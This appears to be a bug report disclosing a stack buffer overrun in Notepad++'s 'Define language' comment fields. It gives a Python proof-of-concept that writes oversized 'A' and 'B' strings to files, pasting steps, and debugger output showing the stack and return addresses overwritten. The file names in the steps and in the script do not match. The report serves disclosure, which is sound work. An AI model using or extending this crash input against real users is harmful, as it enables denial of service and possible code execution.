Security check failure or stack buffer overrun (crash)

How it was found

poc.py

#1) Run poc.py #2) Open notepad++.exe #3) Go to "Define language..." #4) Use tab "Comment and Number" #5) Open 1st_field.txt and copy content to clipboard #6) Paste clipboard on "Comment line style in field Open" #7) Open 2nd_field.txt and copy content to clipboard #8) Paste clipboard on "Comment line style in field Close" #9) notepad++ is crash #!/usr/bin/python

buffer1 = "A" * 20000 buffer2 = "B" * 11000

try: f=open("1st_filed.txt","w") print "[+] Creating %s bytes for 1st field." %len(buffer1) f.write(buffer1) f.close() print "[+] File created!" except: print "File for 1st field cannot be created."

try: f=open("2nd_filed.txt","w") print "[+] Creating %s bytes for 2nd field." %len(buffer2) f.write(buffer2) f.close() print "[+] File for 2nd filed created!" except: print "File for 2nd field cannot be created."

Debugger information:

ccc.600): Security check failure or stack buffer overrun - code c0000409 (!!! second chance !!!) *** ERROR: Module load completed but symbols could not be loaded for npp.exe npp+0x139d34: 00007ff68ee39d34 cd29 int 29h 0:000> r rax=0000000000000001 rbx=0042004200420042 rcx=0000000000000002 rdx=0000009ec8b25b0e rsi=00007ff68ef96b90 rdi=0042004200420042 rip=00007ff68ee39d34 rsp=0000009ec8b07820 rbp=0000009ec8b25969 r8=000001265173ef68 r9=0000009ec8b078a0 r10=0000000000000000 r11=0000000000000246 r12=0000000000180b4a r13=0000000000180b4a r14=0000000000000111 r15=0000000000000001 iopl=0 nv up ei pl nz na pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 npp+0x139d34: 00007ff68ee39d34 cd29 int 29h 0:000> k Child-SP RetAddr Call Site 0000009ec8b07820 00007ff68ee211fa npp+0x139d34 0000009ec8b07860 0042004200420042 npp+0x1211fa 0000009ec8b258e0 0042004200420042 0x0042004200420042 0000009ec8b258e8 0042004200420042 0x0042004200420042 0000009ec8b258f0 0042004200420042 0x0042004200420042 0000009ec8b258f8 0042004200420042 0x0042004200420042 0000009ec8b25900 0042004200420042 0x0042004200420042 0000009ec8b25908 0042004200420042 0x0042004200420042 0000009ec8b25910 0042004200420042 0x0042004200420042 0000009ec8b25918 0042004200420042 0x0042004200420042 0000009ec8b25920 0042004200420042 0x0042004200420042 0000009ec8b25928 0042004200420042 0x0042004200420042 0000009ec8b25930 0042004200420042 0x0042004200420042 0000009ec8b25938 0042004200420042 0x0042004200420042 0000009ec8b25940 0042004200420042 0x0042004200420042 0000009ec8b25948 0042004200420042 0x0042004200420042 0000009ec8b25950 0042004200420042 0x0042004200420042 0000009ec8b25958 0042004200420042 0x0042004200420042 0000009ec8b25960 0042004200420042 0x0042004200420042 0000009ec8b25968 0042004200420042 0x0042004200420042 0000009ec8b25970 0042004200420042 0x0042004200420042 0000009ec8b25978 0042004200420042 0x0042004200420042 0000009ec8b25980 0042004200420042 0x0042004200420042 0000009ec8b25988 0042004200420042 0x0042004200420042 0000009ec8b25990 0042004200420042 0x0042004200420042 0000009ec8b25998 0042004200420042 0x0042004200420042 0000009ec8b259a0 0042004200420042 0x0042004200420042 0000009ec8b259a8 0042004200420042 0x0042004200420042 0000009ec8b259b0 0042004200420042 0x0042004200420042 0000009ec8b259b8 0042004200420042 0x0042004200420042 0000009ec8b259c0 0042004200420042 0x0042004200420042 0000009ec8b259c8 0042004200420042 0x0042004200420042 0000009ec8b259d0 0042004200420042 0x0042004200420042 0000009ec8b259d8 0042004200420042 0x0042004200420042 0000009ec8b259e0 0042004200420042 0x0042004200420042 0000009ec8b259e8 0042004200420042 0x0042004200420042 0000009ec8b259f0 0042004200420042 0x0042004200420042 0000009ec8b259f8 0042004200420042 0x0042004200420042 0000009ec8b25a00 0042004200420042 0x0042004200420042 0000009ec8b25a08 0042004200420042 0x0042004200420042 0000009ec8b25a10 0042004200420042 0x0042004200420042 0000009ec8b25a18 0042004200420042 0x0042004200420042 0000009ec8b25a20 0042004200420042 0x0042004200420042 0000009ec8b25a28 0042004200420042 0x0042004200420042 0000009ec8b25a30 0042004200420042 0x0042004200420042 0000009ec8b25a38 0042004200420042 0x0042004200420042 0000009ec8b25a40 0042004200420042 0x0042004200420042 0000009ec8b25a48 0042004200420042 0x0042004200420042 0000009ec8b25a50 0042004200420042 0x0042004200420042 0000009ec8b25a58 0042004200420042 0x0042004200420042 0000009ec8b25a60 0042004200420042 0x0042004200420042 0000009ec8b25a68 0042004200420042 0x0042004200420042 0000009ec8b25a70 0042004200420042 0x0042004200420042 0000009ec8b25a78 0042004200420042 0x0042004200420042 0000009ec8b25a80 0042004200420042 0x0042004200420042 0000009ec8b25a88 0042004200420042 0x0042004200420042 0000009ec8b25a90 0042004200420042 0x0042004200420042 0000009ec8b25a98 0042004200420042 0x0042004200420042 0000009ec8b25aa0 0042004200420042 0x0042004200420042 0000009ec8b25aa8 0042004200420042 0x0042004200420042 0000009ec8b25ab0 0042004200420042 0x0042004200420042 0000009ec8b25ab8 0042004200420042 0x0042004200420042 0000009ec8b25ac0 0042004200420042 0x0042004200420042 0000009ec8b25ac8 0042004200420042 0x0042004200420042 0000009ec8b25ad0 0042004200420042 0x0042004200420042 0000009ec8b25ad8 0042004200420042 0x0042004200420042 0000009ec8b25ae0 0042004200420042 0x0042004200420042 0000009ec8b25ae8 0042004200420042 0x0042004200420042 0000009ec8b25af0 0042004200420042 0x0042004200420042 0000009ec8b25af8 0042004200420042 0x0042004200420042 0000009ec8b25b00 0020003300300020 0x0042004200420042 0000009ec8b25b08 0000000000340030 0x0020003300300020 0000009ec8b25b10 0000000000000001 0x340030 0000009ec8b25b18 0000009ec8b25b20 0x1 0000009ec8b25b20 0000000000000000 0x0000009e`c8b25b20 0:000> q

Impact

At least it's a denial of service.